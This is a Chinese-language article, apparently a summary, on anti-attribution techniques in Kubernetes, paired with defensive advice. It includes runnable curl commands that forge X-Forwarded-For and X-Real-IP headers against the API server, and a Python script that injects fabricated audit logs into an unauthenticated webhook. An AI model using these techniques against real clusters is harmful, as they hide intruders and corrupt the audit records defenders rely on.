Kubernetes攻击溯源防御与混淆技术分析

一、概述

本文档详细分析Kubernetes环境中的攻击溯源机制及攻击者如何通过技术手段增加防御方溯源成本。主要内容包括IP头伪造和Webhook日志混淆两种技术手段。

二、Kubernetes日志中的IP溯源机制

2.1 Kubernetes记录的IP头信息

Kubernetes日志会记录两个重要的HTTP Header头信息用于IP溯源：

• X-Forwarded-For
• X-Real-IP

2.2 IP头伪造技术

伪造X-Forwarded-For头

攻击者可以通过curl命令伪造X-Forwarded-For头，注入大量虚假IP地址：

curl --cert /root/.minikube/profiles/minikube/client.crt \
     --key /root/.minikube/profiles/minikube/client.key \
     -X GET https://192.168.49.2:8443/api/v1/pods \
     -k -H 'User-Agent: ' \
     -H 'X-Forwarded-For: 192.168.49.1, 192.168.49.2, ..., 192.168.49.254'

特点：

• 可以注入大量IP地址（示例中注入了254个IP）
• 增加防御方分析真实IP的难度

伪造X-Real-IP头

curl --cert /root/.minikube/profiles/minikube/client.crt \
     --key /root/.minikube/profiles/minikube/client.key \
     -X GET https://192.168.49.2:8443/api/v1/pods \
     -k -H 'User-Agent: ' \
     -H 'X-Real-IP: 192.168.49.2'

特点：

• 只能伪造单个IP地址
• 效果不如X-Forwarded-For明显

2.3 防御方的应对策略

尽管攻击者可以伪造IP头，但Kubernetes日志仍会记录真实IP，且真实IP总是出现在日志记录的最后位置。防御方只需关注日志中IP列表的最后一项即可识别真实攻击源IP。

三、Webhook日志混淆技术

3.1 Webhook的安全隐患

企业内部统一的Kubernetes平台通常会配置统一的Webhook地址，常见问题：

• Webhook地址缺乏鉴权机制
• 攻击者可能获知Webhook地址

3.2 伪造Webhook日志示例

攻击者可以向Webhook端点提交伪造的审计日志，混淆防御方的分析：

import requests

test_str = """
{
  "kind": "EventList",
  "apiVersion": "audit.k8s.io/v1",
  "metadata": {},
  "items": [
    {
      "level": "Metadata",
      "auditID": "415774d8-93ed-489c-a1ae-47fe6a501d37",
      "stage": "RequestReceived",
      "requestURI": "/api/v1/configmaps",
      "verb": "list",
      "user": {
        "username": "system:serviceaccount:default:lufeitest3",
        "uid": "178c3130-6925-4d81-8ce4-5d1cd61fd7f1",
        "groups": [
          "system:serviceaccount:default",
          "system:authenticated"
        ],
        "extra": {
          "authentication.kubernetes.io/credential-id": [
            "JTI=53561be6-c4c0-4cbe-9552-cf149868ce19"
          ],
          "authentication.kubernetes.io/node-name": [
            "minikube"
          ],
          "authentication.kubernetes.io/node-uid": [
            "1338157d-fe1d-445e-8700-60fb8eab6b34"
          ],
          "authentication.kubernetes.io/pod-name": [
            "agones-controller-6b7f66b857-57ffx"
          ],
          "authentication.kubernetes.io/pod-uid": [
            "2506dfe0-8283-45c0-9507-1ff0cc686e87"
          ]
        }
      },
      "sourceIPs": [
        "10.244.0.89"
      ],
      "userAgent": "curl",
      "objectRef": {
        "resource": "leases",
        "namespace": "default",
        "name": "agones-controller-lock",
        "apiGroup": "coordination.k8s.io",
        "apiVersion": "v1"
      },
      "requestReceivedTimestamp": "2024-08-02T09:57:28.634829Z",
      "stageTimestamp": "2024-08-02T09:57:28.634829Z"
    }
  ]
}
"""

rsp = requests.post("http://127.0.0.1/", 
                   data=test_str, 
                   headers={'Content-Type': 'application/json'})
print(rsp.text)

3.3 防御方的应对策略

1. 随机化URL路径：定期更改Webhook的URL路径，防止攻击者获知固定地址
2. 双向验证：实施双向TLS认证，确保只有授权的客户端可以向Webhook提交日志
   • 虽然文中提到"暂时没有实践"，但这是理论上有效的防御措施

四、总结与实战应用

4.1 攻击技术总结

1. IP头伪造：通过X-Forwarded-For和X-Real-IP头混淆真实IP
2. Webhook日志注入：向无保护的Webhook端点提交伪造日志

4.2 防御建议

1. 日志分析策略：

   • 对于IP溯源，始终检查日志中IP列表的最后一项
   • 实施IP白名单机制，限制可信源IP

2. Webhook安全加固：

   • 实施严格的访问控制
   • 定期更换URL路径
   • 考虑双向TLS认证

3. 纵深防御：

   • 结合网络层、应用层和日志层的多维度防御
   • 定期审计Kubernetes集群配置

4.3 实战案例提示

文中提到一个有趣的实战案例："从k8s环境外成为取k8s node权限，再获取到集群权限"，这表明攻击者可能通过外部初始访问逐步渗透到Kubernetes集群内部，这种横向移动技术值得防御方重点关注。